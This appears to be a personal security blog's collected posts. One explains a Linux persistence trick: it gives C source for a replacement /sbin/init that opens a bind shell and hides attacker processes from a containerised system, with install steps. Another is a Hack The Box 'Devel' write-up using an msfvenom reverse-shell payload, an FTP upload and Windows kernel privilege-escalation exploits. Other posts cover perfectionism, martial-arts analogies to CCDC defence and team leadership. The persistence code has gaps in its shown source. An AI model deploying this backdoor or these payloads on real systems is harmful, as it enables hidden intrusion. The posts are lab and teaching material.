Unshare Linux Persistence Technique

11 September 2020


You may have heard of the term “containers” when dealing with a tool like Docker, but containerization is actually a feature of the Linux kernel. Docker just utilizes this feature to provide it’s functionality. A large portion of this functionality is part of the unshare function. Lets take a look at the man page for a description of this function:

unshare() allows a process (or thread) to disassociate parts of its execution
context that are currently being shared  with  other  processes (or  threads)

Further down in the man page we can see what can be disassociated:

       Unshare the file descriptor table, so that the calling process no longer
       shares its file descriptors with any other process.

       Unshare filesystem attributes, so that the calling process no longer
       shares its root directory (chroot(2)), current directory (chdir(2)), or
       umask (umask(2)) attributes with any other process.

CLONE_NEWCGROUP (since Linux 4.6)
       Unshare the cgroup namespace.

CLONE_NEWIPC (since Linux 2.6.19)
       Unshare the IPC namespace, so that the calling process has a private copy
       of the IPC namespace which is not shared with any other process.

CLONE_NEWNET (since Linux 2.6.24)
       Unshare the network namespace, so that the calling process is moved into
       a new network namespace which is not shared with any previously existing

       Unshare the mount namespace, so that the calling process has a private
       copy of its namespace which is not shared with any other process.

CLONE_NEWPID (since Linux 3.8)
       Unshare the PID namespace, so that the calling process has a new PID
       namespace for its children which is not shared with any previously
       existing process. The calling process is not moved into the new
       namespace. The first child created by the calling process will have the
       process ID 1 and will assume the role of init(1) in the new namespace.

CLONE_NEWUSER (since Linux 3.8)
       Unshare the user namespace, so that the calling process is moved into a
       new user namespace which is not shared with any previously existing

CLONE_NEWUTS (since Linux 2.6.19)
       Unshare the UTS IPC namespace, so that the calling process has a private
       copy of the UTS namespace which is not shared with any other process.

CLONE_SYSVSEM (since Linux 2.6.26)
       Unshare System V semaphore adjustment (semadj) values, so that the
       calling process has a new empty semadj list that is not shared with any
       other process.

There are a ton of things we can do here. We can use CLONE_NEWNS to make a completely new copy private copy of the mount namespace. Meaning anything mounted in this process will not be visible from any other processes. CLONE_NEWPID allows us to get a brand new PID table. This is why if you look at the process list inside of a Docker container you will only see the processes inside of that container.

Simple Is Better

So the above information is cool, but lets take a look at an easy way to test some of this stuff out. Conveniently, Linux provides us with an unshare binary that wraps up this functionality and makes it easier to use. Here is a simple example where the PID namespace is unshared: ~# sudo unshare -pf --mount-proc /bin/bash. After executing this command, run ps aux and you will only see 2 processes instead of the entire list. The flags in this command are -p unshare PID namespace, -f fork, and --mount-proc remount the proc file system. The /proc directory needs to be remounted as the old mount will still have the original pids.

What About This Persistence Thing?

We’ve figured out how this containerization thing works a bit, but how can we use it as a persistence mechanism? One thing to keep in mind is that once something is unshared from a container, it can’t view the outside namespace. It can only see its own private namespace. From a persistence perspective, if we were to run malware outside of the container then it wouldn’t be visible inside of the container if the PID namespace was unshared. Sounds cool right?

Now lets consider that we could containerize the entire operating system on boot, but leave a process running on the outside of the container that we, as the attacker, can access via a bind shell. When the attacker enters the bind shell, they would be outside of the container, and anything they run would be hidden from the container.

In order to containerize the entire operating system, we need to understand what happens on boot. If you run ps aux and look at the first process, you will usually see something like /sbin/init for PID 1. /sbin/init is the first program run after the operating system is loaded. /sbin/init is actually a symbolic link to /lib/systemd/systemd, so that is the real application that is started first. If we replace /sbin/init with our own binary we can have /lib/systemd/systemd start in a containerized environment. /lib/systemd/systemd will kick off all the other processes needed for a functional operating system.

Custom /sbin/init

#define _GNU_SOURCE

#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <netinet/in.h>

void setup_listener(void) {
    int serv_sockfd, client_sockfd;
    struct sockaddr_in servaddr;
    pid_t pid;

    if ((serv_sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(1337);
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    if (bind(serv_sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) {

    if (listen(serv_sockfd, 10) == -1) {

    while (1) {
        if ((client_sockfd = accept(serv_sockfd, NULL, NULL)) == -1) {

        pid = fork();
        if (pid == -1) {
        } else if (pid == 0) {
            dup2(client_sockfd, 0);
            dup2(client_sockfd, 1);
            dup2(client_sockfd, 2);

            execve("/bin/bash", NULL, NULL);

void setup_ns(void) {
    int flags, wstatus;
    char *new_argv[] = { "splash", NULL };
    pid_t pid;


    if (unshare(flags) == -1) {

    pid = fork();
    if (pid == -1) {
    } else if (pid == 0) {
        if (mount("none", "/proc", NULL, MS_PRIVATE | MS_REC, NULL) == -1) {
        if (mount("proc", "/proc", "proc", MS_NOSUID | MS_NOEXEC | MS_NODEV, NULL) == -1) {
        execve("/lib/systemd/systemd", new_argv, NULL);
    } else {
        waitpid(pid, &wstatus, 0);

int main(int argc, char *argv[]) {
    pid_t pid;

    pid = fork();
    if (pid == -1) {
    } else if (pid == 0) {
    } else {


The gist of this code is that it first sets up the bind shell on port 1337, then calls setup_ns() to unshare the specified namespaces, then it remounts /proc and executes /lib/systemd/systemd splash in the newly created container.


The code above was tested on Kali 2020. You should use a virtual machine and take a snapshot of it in a clean state. I am not responsible if you brick your machine. Okay disclaimer aside, now compile with gcc -o init <filename>.c, then sudo mv init /sbin/init && sudo chown root.root /sbin/init. Reboot the machine.

The machine should boot up normally, login as you normally would. Take a look around, everything should look completely normal. Believe it or not, you’re actually inside of a container like environment. Lets get to the environment outside of the container. Run nc localhost 1337. This will give you a non-interactive shell. If you run ps, you should see some output. Experiment time!!! Open another terminal (or tab), and run nc localhost 1337 again. You’ll now have 2 terminal sessions outside of the container. In the first terminal session run yes test. This will continuously print out “test” on the screen (we just need this to keep a process running). In the second terminal session, run ps aux | grep yes. You should see the process for yes test running. Now open another terminal, and remember that this terminal session is inside the container (since we’re not netcating out). In that terminal session run ps aux | grep yes. You will not see the process as we are in a container. This means any malware running outside the container is hidden from the full operating system running inside.


This is a pretty invasive persistence technique, and I wouldn’t recommend using it. It is something that is unique and interesting, but that is about it. The source code provided is a PoC and shouldn’t be considered a fully working example. You will figure this out when you try to reboot the machine and it hangs! Hope you enjoyed this article and learned something about Linux containerization.

More than a GPA – A journey from perfectionism to excellence.

01 Jul 2019


We’ve just passed the time of year when we all start reflecting on the past year or so, and in this process of reflection I’ve realized that I’ve changed quite a bit over the last couple of years. I’ll be graduating from college this spring if all goes well, so I’ve been reflecting on my time in college. I realized that the biggest change in my life since my freshman year has been a seemingly simple shift of perspective: I’ve started focusing less on perfection and more on excellence.

I’ve been a perfectionist for as long as I can remember. I grew up in a results-oriented, competitive household. Even if I did well in an academic competition or in school, I was consistently told that I could be doing better. My parents meant well, and wanted the best for me, but a lot got lost in translation.

And so, for years, I never felt good enough. I was always doing more, trying harder, and setting difficult goals for myself in hopes that I would one – get the congratulations I always wanted (a good job with no qualification or what if) and two – be good enough. Good enough for what, I have no idea. The main point here is that I was generally unsatisfied. My driving force for many of my high school years was to graduate with a perfect (4.0) GPA, and I used that goal as motivation. It worked, I graduated with a 4.0 GPA, but there was still something missing. I was ‘successful’, but ultimately empty and unfulfilled by the work I had done. Instead of feeling a sense of accomplishment, I experienced relief.

And so I arrived at college, again with the same goal: graduate with a perfect GPA! I used to think that GPA meant everything, and that having a perfect one was a step in the right direction. Now I know that having a good (or great) GPA is a good thing, but if it becomes an obsession and begins to cause inordinate amounts of stress, then it’s not worth it! This goal of graduating with a perfect GPA started to get in the way of my education itself. Ironic, right? My freshman year of college I had the good fortune of meeting some of the most passionate and technically sharp people I’ve ever met. To my surprise, most of them did not have perfect or near perfect GPA’s. At some point after that, I had an epiphany: my education is and should be about more than a single number. That was the beginning of my journey from perfectionism to excellence! I gradually started spending more time on extracurricular activities and building friendships that will last for a lifetime. I’ve maintained a pretty good GPA but it’s not perfect, and I’m ok with that!

Since then, I’ve discovered that perfectionism is a sort of distorted, twisted version of excellence. The pursuit of perfectionism focuses on the end result and often results in dissatisfaction because after all, few things in life are ever perfect. The pursuit of excellence focuses more on being or doing the best you can at a certain task or in a given situation and not comparing yourself to others (or a standard of perfection) throughout the process.

Perfection is also the enemy of excellence. Seeking perfection also lends itself to fearing failures to the point of avoiding acceptable and beneficial risks to avoid a possible failure by always choosing the ‘safe’ option. Over the last year, I’ve learned to evaluate risks and determine if they’re worth taking based on a standard of excellence instead of perfection. So far the risks I’ve taken paid off! For example, I used to be afraid to apply for internships because I was afraid I would “fail” and ruin my perfect track record by not getting an offer. I didn’t see the big picture and realize that not applying was the only way to ensure that I would not get an offer.

So, what separates excellence from mediocrity? If I’m no longer using perfection as my motivation or goal, how do I ensure that the work I do is excellent? For me, the first step is to define what excellence is for specific tasks. Perfection is not something I can define for myself: it’s an external definition that I can’t change. However, I do have the power to define what excellence means and set achievable and feasible goals! If I define excellence as “always giving 100%” then I may be slipping back into my perfectionist-ey habits. Having a specific defnintion of what excellence is for specific tasks or projects is key for focusing on excellence rather than perfection. And that begs the question: when is “good enough” good enough? That’s up to you!

How Combat Sport Psychology and Strategy apply to the Red vs. Blue dynamic of Cyber Security Competitions

01 Jun 2019


Author’s note: The last portion of this article relies heavily on my personal experiences “in the ring” of collegiate taekwondo sparring and “in the pit” of the Mid-Atlantic Regional CCDC. Many of the fighting strategies are ‘coach-isms’ and are not from an official source. Sources are linked inline.

A recruiter at the 2019 MACCDC Regional competition noticed that I listed a karate black belt as an achievement on my resume, and asked me if I thought there were correlations in the respective strategies of physically attacking someone and attacking a network. My original answer involved an explanation of how varying the speed, direction, and height of a physical attack makes the defender’s job very difficult, and similar variety in a network attack likewise makes the defender’s job more difficult.

That discussion led me to investigate the similarities in underlying psychology and strategic similarities between combat sports and my experiences at MACCDC. Four areas of psychological similarity are mental toughness, focus, stress management, and the role of practice and preparation. These areas impact performance in both sparring matches and cyber defense competitions.

Two important components of mental toughness are resilience and how one handles failure. Merriam-Webster defines resilience as “an ability to recover from or adjust easily to misfortune or change.” In a sparring match, misfortune can consist of an opponent landing a devastating head kick. In a cyber defense competition, such misfortune takes the form of downed services and the appearance of nyancat instead of a bootloader. The ability to recover from these events by handling failures properly is critical to success in both sparring and cyber defense competitions.

Two tips for maintaining resilience during a stressful situation are:

  1. Decide ahead of time how you will react in adverse situations. See yourself responding positively at critical moments in competitions.
  2. Choose a motto that will guide your behavior during adverse times. Repeat it to yourself as you meet your challenging situations.

These two tips are incredibly useful, I do both of these things (although I didn’t realize it until I started writing this). Regarding the second tip, my personal motto is “no plan survives first contact”, which is a paraphrased form of a quote from Helmuth von Moltke the Elder. The contact can be either an unexpected punch to the face (in Mike Tyson’s case), or the decimation of your team’s network by the red team.

Analysis Paralysis? Aint nobody got time for that!

Focus is incredibly important to success in both combat sports and cyber defense competitions. The type of focus required for combat sports can be defined as “a state of being both simultaneously alert and relaxed with an effective, yet empty mind.” The same type of focus aids in the problem solving process and teamwork required to defend a network. Focus is a combination of alertness and analysis, without analysis paralysis.

When asked how I was dealing with the stress of the CEO interview portion of MACCDC, I replied, “I’m always stressed out and out of my comfort zone, so this is normal.” I am comfortable and incredibly focused in highly stressful situations, and I do some of my best thinking and work under higher-than-normal levels of stress. Stress is a large part of life, like it or not. However, how stress levels are managed in incredibly stressful environments can make or break reactions and decision-making processes.

Your services died? Improvise, adapt, overcome.

Stress can be defined as “the strains on our physiological and psychological well-beings that occur because of the taxing of emotions that arise because of our appraisals of events, situations, or occurrences that are threatening to our sense of well-being.” However, research demonstrates that complete elimination of stress does not increase performance. Rather, a “zone of optimal stress […] is associated with peak performance.” This zone of stress is different for everyone, which explains how some thrive under immense stress and pressure and others fold.

Stress is high in competitive situations, including both collegiate taekwondo sparring and MACCDC Regionals. Learning how to diffuse stress and carry on with the task at hand is important for longer events, especially those which require high degrees of collaboration and teamwork.

*cough* MACCDC *cough*

I’ve noticed that as my level of stress rises, it becomes more difficult to interact with those around me without raising their stress level as well.

Finally, practice and preparation are where the foundations for mental toughness, focus, and stress management are built. One of my favorite “coach-isms” is “you play how you practice.” The more like the ‘real deal’ practice sessions are, the better! Although it is difficult to re-create the stress of a competitive atmosphere, it pays off. Practice is a safe place to try new things, be it a new kick combination or a risky registry key edit. I see practice as an opportunity to refine skills and master the basics, not drudgery (although it can be repetitive). A word of warning: don’t practice in a way that forces you to commit to one single reaction to an event. In fighting, this makes your moves very predictable. In cyber defense competitions, this lack of flexibility can result in an inability to act when the conditions are not the same as the ones you practiced under.


Now for the part that I really wanted to write but decided I needed to provide background for! The aforementioned psychological categories/aspects are foundational to many fighting principles that also apply to cyber defense strategy. Behold, a list of fighting principles and their correlated cyber security principles!

  • Set up your attack: OSINT/ Recon
  • Know your enemy – observe, and go for the weakest link: OSINT / Recon
  • Protect your head: Know and protect valuable assets on your network
  • Know your own weaknesses: Internal audits and awareness of likely targets
  • Use your surroundings to your advantage: Get to know the ‘lay of the LAN’
  • Not everything works on everyone: Not every network has the same vulnerabilities
  • Don’t telegraph your moves: Remove all of an attacker’s access at the same time
  • Don’t bring a gun to a knife fight: Verify a threat before acting, and then respond appropriately
  • When you enter the ring, the only thing you can control is your own conditioning: Practice, have a plan in place, and do your due diligence. It’s too late to worry about what you should have done when you’re in the ring!

Many of these principles are different sides of the same coin. Attack and defense go hand in hand, in both combat sports and cyber security! The better you understand one, the better you understand the other.

Setting up attacks is incredibly important in competitive sparring. An opponent is expecting an attack, so it is important to observe their fighting style, reaction time, attack patterns, and any other useful information and factor it into an attack. For example, an opponent might have a habit of dropping their left hand right after they throw a certain technique. Knowledge of this pattern might enable an attacker to score a head kick. Open Source Intelligence (OSINT) and network reconnaissance serve a similar purpose: familiarity with an opponent eventually enables an attacker to identify and exploit weaknesses. These weaknesses can be anything from poor physical security and vulnerability to social engineering to system or network level vulnerabilities.

Protecting your head is critical in a competitive fight. Not only are successful head kicks worth more points than any other techniques, but they can lead to serious injuries like concussions. Your head is a valuable target in sparring, like valuable information, critical network infrastructure, and privileged accounts are valuable targets on a network. In both fights and network security, protecting high value targets is important! This is along the same vein as knowing your weaknesses and building a strategy around them.

The concept that not everything works on everyone in a fight also applies to network security. In self-defense, there are several common techniques (think swift kick to the balls). These techniques will not work on every single person, because each person is different, and an attacker may be on drugs that makes them relatively immune to pain. Networks are like humans, they are complex and have similarities, but are almost never the same. So, it follows that not every exploit will work on every network. So, if something that usually works doesn’t work, don’t give up, and keep trying!

The ‘coach-ism’ to not telegraph your moves is also relevant to cyber security, specifically attack-defend competitions such as CCDC. As a network defender, when I spot a suspicious process on the windows server I’m monitoring during the competition, my first inclination is to delete the process and move on with whatever I was doing before. However, this action can be counterproductive to the defense of the system and network. In my experience, red team is like hydra – cut off one head and two more grow in its place. So, in order to remove red team’s access to a system, removing one method of persistence at a time won’t cut it. Doing so “telegraphs” my next moves – I’ve found one method of persistence and removed it, and it’s likely that I’m in ‘hunt mode’ searching for other persistence on the box. So, before red team loses all access and must break in again, they can disable or mess with the tools that I need to remove their access, as well as implant stealthier methods of persistence. To avoid this, I typically round up as many persistence methods as I can find, and remove them all within a small time span. In a perfect world, the red team is focusing on a different system at that time and will come back to find a bunch of dead shells and no persistence on the system. (The world is rarely perfect, and sometimes this just makes the red team target the system more aggressively if they still have a persistence method.)

The phrase “don’t bring a gun to a knife fight” represents a tendency to over-react to stressful situations. In my experience, it’s easy to see every little thing that looks out of place on a CCDC network as an indicator of compromise and go down the rabbit hole when it may just be a configuration change required to run a required service. So, it’s important to properly assess the situation and react appropriately. The same concept is valuable in self defense; assessing a situation can allow you to diffuse it before it turns into a fight, or be prepared to use acceptable levels of force to defend oneself.

Finally, my favorite words of wisdom from my collegiate taekwondo coach are the following: “When you enter the ring, the only thing you can control is your own conditioning.” What this boils down to is that once you’re in the ring, you have to rely on all of the time and training to carry you through – you can’t bow out and go practice a specific technique or go get in better shape. This would be akin to taking time off of an actively attacked system to google how to do something. Sure, sometimes you have to go look things up, but it’s too late to worry about what you should have done and do what you can. Save those thoughts for the after action review!

Teams are Systems too! A systems perspective on teamwork and leadership.

10 Jul 2019


Author’s Note: Sources are linked inline, and books I reference are linked to Amazon.

A few days ago, I was discussing my future career path with a good friend and former MACCDC teammate. I mentioned that I am more of a system-level thinker – I love working on complex problems and understanding how and why systems work together. In fact, as a Sophomore in High School, I wanted to pursue a bachelor’s degree in systems engineering. Although I will be graduating in a year with a B.S. in Computer Science, my dream job is leading a team of technical people and providing an environment for them to learn, grow, and do amazing things. And that got me thinking – why do I enjoy both complex technical problems and leading teams? Maybe there are more similarities than appear at the surface level. Epiphany time! What if teams are systems too?!

Here’s Merriam-Webster’s definition of a system: “A regularly interacting or interdependent group of items forming a unified whole.” That sounds suspiciously like a high preforming team! For reference, here’s Merriam-Webster’s definition of a team: “A number of persons associated together in work or activity.” As that definition doesn’t get at the heart of exceptional teamwork, I prefer my home-brewed ‘definition’: “More than just a group of people, a team is a group of people working together to achieve a common goal.”

The emphasized portions of my definition are what I believe sets a team apart from a group of people. If a group of people fails to work together and/or disagrees on their end goal, they will never truly become a team. The same goes for components of systems! There are many more similarities between teams and systems than just the definitions. Both can suffer from complex problems, and both can produce a greater effect as a whole (instead of in parts). This begs the question: is it possible or even beneficial to approach teamwork and team leadership from a systematic perspective? YES!

Let’s take a look at complex problems and systematic dysfunction. Perhaps I’m troubleshooting a large codebase with lots of different classes and ‘moving parts.’ First, I’d have to identify the problem, and be able to reproduce it reliably. This allows me to begin to pinpoint which module (or set of modules, or interface between modules) is the cause of the problem. Then, I’d dig in and try to figure out the actual cause of the problem – for me it’s usually a missing semicolon or a fussy pointer!

A failing system is like a dysfunctional team – one bad part can adversely affect the whole. According to Patrick Lencioni in The Five Dysfunctions of a Team, absence of trust, fear of conflict, lack of commitment, avoidance of accountability, and inattention to results are the five dysfunctions that can destroy a team from the inside out. “And so, like a chain with just one link broken, teamwork deteriorates if even a single dysfunction is allowed to flourish” (Lencioni, pg. 189). If you think of a team as an interdependent system, this becomes obvious. If there’s a problem with a module of code, then that problem will adversely affect the modules that interface with it, and so on and so forth. Same goes with teams of people – if even one person refuses to work with others or works towards a different goal, it will throw off the rest of the team, create dysfunction and erode teamwork.

<div style=”text-align:center”>I’ve seen this happen as a team member. I’ve let it happen as a leader. It sucks.</div>

Of course, no team is perfect. Let’s see what happens if we tackle a teamwork problem from a systems perspective. Although people and their interactions are invariably more complex than the typical system, the same principles may apply.

What would a systems approach to a people problem look like? Thinking back to the process I outlined for debugging a large codebase:

  1. Identify the problem.
  2. Observe the problem in action – is it repeatable or a one-off?
  3. Identify the root cause – who or what is likely the cause and why? (It could be a personality clash, or a simple miscommunication that has gone too far.)
  4. Address the root cause, the solution should match the severity and duration of the problem.

As a leader, looking at a team or teamwork from a system level perspective lends a more analytical approach. It’s easy for me to get caught in a narrow view of what is happening, especially if someone I am close to is involved. A system level view can certainly help pull me out and look at the big picture. On the flip side, it is important to not ‘lose’ individual team members and focus too much on the system and not enough on the individual. As an individual team member, a systems perspective clarifies the relationship between team members and shows that one person can have a large effect on the team as a whole.

Taking the analogy a step further – can principles or strategies from optimizing system performance apply to improving teamwork and creating an exceptional team?

First, consider the give and take battle of system optimization… You can’t have it all! I’m currently helping design a database backend for a project that will store all the data for the project as well as track historical data for logging and analysis purposes. The most common optimization dilemma I’ve run into is: do I want potentially null fields that will take up more disk space but have faster access and write speeds, or do I want to add a new table to decrease wasted disk space, but increase access time? Depending on the context, I make a choice, and it’s usually a hybrid of both.

Similar give and take situations arise while leading a team. Many amazing examples and principles are outlined in The Dichotomy of Leadership, including:

  • When to Mentor, When to Fire
  • Train Hard, but Train Smart
  • Agressive, not Reckless
  • Hold People Accountable, but don’t Hold Their Hands

Go read the book… It’s well worth it! (Because there’s already a wonderful book dedicated to the subject, I’ll move on…)

Getting a team (or a system, for that matter) to peak performance is a challenge. The first method of improving system performance that comes to my mind is removing bottlenecks. In a computer system, this would look like replacing a traditional HDD with a SSD, given that other components are “waiting on” the HDD, and the overall system speed would increase when the SSD is put in place.

But what would removing a bottleneck look like in the context of a team?

Removing a bottleneck works because it focuses on upgrading or bypassing the component that is the most significant cause of system slowdown. In the context of a team, this translates to: focus on the significant problems – some things just aren’t worth it and trying to fix them can move you further away from your goals as a leader.

I experienced this while captaining my school’s MACCDC team. As a leader, I have only so much time, energy, and leadership capital. Leadership capital is similar to political capital, but within the scope of a team. It is a combination of interpersonal skills, relationships, and reputation that allow an individual to “attain and wield authority”.

As a leader with little given authority as a fellow student and peer of my teammates, this has been specifically relevant to me. I rely primarily on leadership capital that I can create for myself. A leader may spend this capital however they wish. However, a wise leader should direct their leadership capital towards areas:

  1. Where they can effect change
  2. Where that change will be valuable to increasing the performance of the team

Story time!

Small things bother me – I am incredibly sensitive to sounds, and I like to have things laid out in specific ways (think minor OCD – everything on the top of my desk is in a straight line, and it’s hard for me to focus if it’s not). I have a LOT OF PET PEEVES that I choose to ignore on a regular basis. As a leader, if I were to focus on making sure that “everything is as it should be according to me”, I would be wasting my leadership capital. While I may be creating a more comfortable or productive environment for myself, I may also be effecting a change that is NOT beneficial to the team’s dynamic and therefore, performance.

However, don’t take this concept too far. It’s important to stop small things from becoming big things. If there is something super important but you know that you won’t be able to implement the change, consider bringing in an “outside force” (i.e. superior) to implement it. These aren’t rules, they’re just suggestions. So, what if teams are systmes, too? Poor teamwork is usually accidental. Exceptional teamwork never is.

Owning ‘Devel’ the manual/non-metasploit way

31 Dec 2019



Initial scan shows port 21 and 80. FTP on 21 is open for anonymous logon.

╭─initinfosec@theMachine ~/writeups/HTB/devel/enumeration
╰─➤  sudo nmap -sS -sV -p- -O -oA devel                                1 ↵
Starting Nmap 7.80SVN ( https://nmap.org ) at 2019-12-30 16:05 CST
Nmap scan report for
Host is up (0.045s latency).
Not shown: 65533 filtered ports
21/tcp open  ftp     Microsoft ftpd
80/tcp open  http    Microsoft IIS httpd 7.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Vista SP2 (91%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.45 seconds

initial exploitation & user shell

  Since FTP appears to be open, I will see if I can upload a reverse shell file. Since IIS, I will try aspx first, if that does not work, then try asp or something else. Guessing on the arch here, if x86 fails out, i’ll try x64. I’m sure there’s a way to find the arch version via banner grab, something to look into later.

╭─initinfosec@theMachine ~/writeups/HTB/devel/enumeration
╰─➤  sudo msfvenom -f aspx -p windows/shell_reverse_tcp LHOST= LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
[sudo] password for initinfosec: 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of aspx file: 2874 bytes
Saved as: shell.aspx

upload to ftp server as follows:

╰─➤  ftp                               
Connected to
220 Microsoft FTP Service
Name ( anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.

ftp> send
(local-file) /home/initinfosec/writeups/HTB/devel/enumeration/shell.aspx 
(remote-file) shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2911 bytes sent in 0.000225 seconds (12.3 Mbytes/s)

(could have used a one-liner send, but this works too)

open a listener with nc -lnvp 4443

and browse to in the browser and we get a shell!

╰─➤  sudo nc -nlvp 4443                                                   

[sudo] password for initinfosec: 
Connection from
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

iis apppool\web

Upon trying to grab the user flag, looks like access is restricted. So we need to enumerate more and privesc.

The rocky road to privilege escalation & a system shell

further enumeration

running systeminfo reveals it ix indeed a x86 Windows 7 Enterprise box.

I suspect due to the seemingly sparse amount of installed applications that the privesc will be something system level, like a win32k kernerl exploit.

After awhile of searhcing, and failing to get a few powershell vulnerability/patch asessment scripts to work (e.g. Sherlock.ps1), I found and downloaded a script called WinPrivChecker.bat

That seems to bomb out on a lot. I also tried another priv checker, seemingly with mixed results. My remote shell seemed very limited on what you could do without it hanging at times, and Powershell was an older version (3), so I tried using a python script locally on Linux, that I passed the results of the cmd systeminfo output (for KBs)

╰─➤  python2 ./windows-exploit-suggester.py --database 2019-12-31-mssb.xls --systeminfo devel_sysinfo.txt

[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*] there are now 179 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 32-bit'
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

From what I can gather, this seems to be a largely unpatched Win7 x86 box.

exploitation to gain NT_Authority_System

  Using ftp again, and set in binary mode, I transferred a few executables for some of the win32 kernel exploits suggested in the results of above.

I seemed to have mixed results with these, with most just killing or idling at the shell (IDK if they spawned another shell with NT_Authority_System or if they just killed the shell, but either way the prompt hung.)

For the sake of brevity, this write up will not document the several hours I spent trying different exploits, only the 2 that seemed to be close to having the most success.

The first one I seemed to have some luck with was MS10-015. At first upon running, I got the following:

Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---

[+] Spawning a shell to give SYSTEM token (do not close it)
[?] CreateProcess("C:\WINDOWS\SYSTEM32\CMD.EXE") => 392
[?] GetVersionEx() => 6.1
[?] NtQuerySystemInformation() => \SystemRoot\system32\ntkrnlpa.exe@82843000
[?] Searching for kernel 6.1 signature { 64, a1, ... } ...
[+] Signature found 0xcde8d bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\SYSTEM32\DEBUG.EXE") => 0
[!] OpenProcess(0) failed, 0x57
[!] SpawnNTVDMAndGetUsefulAccess() returned failure
[+] Press any key to exit...

After reading through the source code for the exploit, I realized that error occured when missing the vdmexploit.dll library in the same folder as the exploit was ran. I realized I had the dll from the PoC i downloaded with wget, so transferred that over in binary over ftp.

Upon doing that, it seems to have worked, however, SoP for the exploit is to spawn a new privlidged cmd shell. Since I don’t have a GUI, and only have one current shell, I can’t see if anything spawned.

Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---

[+] Spawning a shell to give SYSTEM token (do not close it)
[?] CreateProcess("C:\WINDOWS\SYSTEM32\CMD.EXE") => 3532
[?] GetVersionEx() => 6.1
[?] NtQuerySystemInformation() => \SystemRoot\system32\ntkrnlpa.exe@82843000
[?] Searching for kernel 6.1 signature { 64, a1, ... } ...
[+] Signature found 0xcde8d bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\SYSTEM32\DEBUG.EXE") => 3612
[?] OpenProcess(3612) => 0x2c
[?] Injecting the exploit thread into NTVDM subsystem @0x2c

[?] WriteProcessMemory(0x2c, 0x1040000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x38, INFINITE);

There may be a way to assume the PID 3612 to get the system shell, but I wasn’t sure. The other option might be to modify the exploit to upgrade the current shell instead of spawning a new one, but I’m not even sure if that would work, and I’m not much of a dev.

Using MS11-046 to own system

  I decided to proceed with another win32 kernel exploit i found on this fantastic github repo: GitHub – SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows

I tried to pick one that looked like it would spawn a shell from the current prompt instead of a new window. After some (OK, much) trial and erorr, I ended up with MS11-046.

I downloaded the exploit, and transferred it via ftp in binary mode once again:

wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS11-046/ms11-046.exe

